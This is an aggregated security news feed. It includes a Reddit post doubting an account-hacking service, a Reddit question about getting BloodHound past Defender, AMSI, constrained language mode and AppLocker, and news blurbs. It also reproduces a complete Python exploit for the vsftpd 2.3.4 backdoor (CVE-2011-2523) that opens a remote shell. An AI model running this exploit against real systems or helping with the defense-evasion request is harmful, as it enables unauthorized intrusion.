hacking: security in practice
What is up with this weird company offering hacking services?

I was watching this youtube video by networkChuck (https://www.youtube.com/watch?v=KdZvxxLsN3E) and most of the top comments were some weird spam. All similar and fake looking testimonials for a company called Blitzkrieg Hacks. For example:

I can see everything my boyfriend does on his android phne using BLITZKRIEGHACKS because he stays far away from me and I do not trust him anymore , he’s been acting so weird lately which is what led to this action , so far I haven’t seen anything out of the ordinary and I pray it remains that way

​

Everything they say here about BLITZKRIEGHACKS is all very true , I used to be on the look out for someone capable enough of getting me back my IG but never found anyone who could do it , just this morning I found Tom and he was able to get it done it 2 hours , it was completely impressive I have to be honest

So I had a look at the website. https://blitzkrieghacks.com/

And yep, a company offering to hack your friends, relatives whatever's accounts.

So what is going on here? Surely the services offered by this company are illegal. My hunch is it's just a scam plain and simple and these youtube comments are essentially bot posts, but I was wondering if anyone here can offer any insights.

submitted by /u/longseansilver44
[link] [comments]

hacking: security in practice
Bloodhound/Sharphound AV/AMSI/CLM bypass

Hey all,

My current set up is as follows:

A tiny domain.

A shell (msf if it matters) as a low level domain user.

AV (defender) is enabled.

Applocker is enabled with most rules set up, except no execution in c:\windows\temp|tasks|etc

powershell CLM is enabled.

AMSI is working (obviously through defender)

​

I am trying to run bloodhound in any form as the low level user. I have bypassed AMSI, CLM, and appocker to run code consistently, but no matter how I import the ps1, or try to run the EXE it fails. The ps1 fails with the error that implies defender is blocking reflective exe loading, and the exes are blocked mainly with applocker. Does anyone have a tool or technique that can get bloodhound running with these restrictions?

​

Thanks.

submitted by /u/ShadowOfMen
[link] [comments]

Exploit Collector
vsftpd 2.3.4 Backdoor Command Execution

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
vsftpd version 2.3.4 backdoor remote command execution exploit.

MD5 | accb8a13d15982d8cbc9b5a4c1df898d

Download
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()


Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Omdia Research Spotlight: XDR

Few emerging cybersecurity market segments are garnering more attention than XDR. Here, Omdia highlights its recent research on XDR.

Dark Reading: Attacks/Breaches
New Malware Downloader Spotted in Targeted Campaigns

Saint Bot is being used to drop stealers on compromised systems but could be used to deliver any malware.

Dark Reading: Attacks/Breaches
Microsoft Uses Machine Learning to Predict Attackers' Next Steps

Researchers build a model to attribute attacks to specific groups based on tactics, techniques and procedures, and then figure out their next move.

Kali Linux Tutorials
Watson : Enumerate Missing KBs & Suggest Exploits For Useful Privilege Escalation Vulnerabilities

Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities. Supported Versions Windows 10 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004 Server 2016 & 2019 Usage – OS Build Number: 14393>>Enumerating installed KBs… – CVE-2019-0836 : VULNERABLE>>https://exploit-db.com/exploits/46718>>https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/ – CVE-2019-0841 : VULNERABLE>>https://github.com/rogue-kdc/CVE-2019-0841>>https://rastamouse.me/tags/cve-2019-0841/ – CVE-2019-1064 : VULNERABLE>>https://www.rythmstick.net/posts/cve-2019-1064/ […]

The post Watson : Enumerate Missing KBs & Suggest Exploits For Useful Privilege Escalation Vulnerabilities appeared first on Kali Linux Tutorials.

Hacking on Medium
Hack #1: modern blurred backgrounds

https://cdn-images-1.medium.com/max/1280/1*rwjR4mvieiDVWwOqrIa70Q.jpeg
Motivated by the new retro-futuristic design taken by a lot of companies that deliver a great UI design, I started to code an easy and…

Continue reading on Medium »

Hacking on Medium
Инструмент обнаружения конфиденциальных данных c EarlyBird

https://cdn-images-1.medium.com/max/962/1*-OKbyH8MCbJgGGKbobLS0A.png
EarlyBird это инструмент обнаружения конфиденциальных данных, способный сканировать репозитории исходного кода

Continue reading on Medium »

Hacking on Medium
Hack Your Own Network To Stay Ahead Of The Hackers

https://cdn-images-1.medium.com/max/1600/0*8xRDoEeHfjmJHVhx.jpg
We despise cybercriminals. They’re a menace to business. We’re very protective of small business in Atlanta and continuously up our game…

Continue reading on Medium »

Hacking on Medium
Alerta: Nuevo malware que arrebata las contraseñas de los usuarios.

https://cdn-images-1.medium.com/max/867/0*cLrXld6gPcNTiajB
PUBLICADO EN 12 ABRIL, 2021 POR EHACKING

Continue reading on Medium »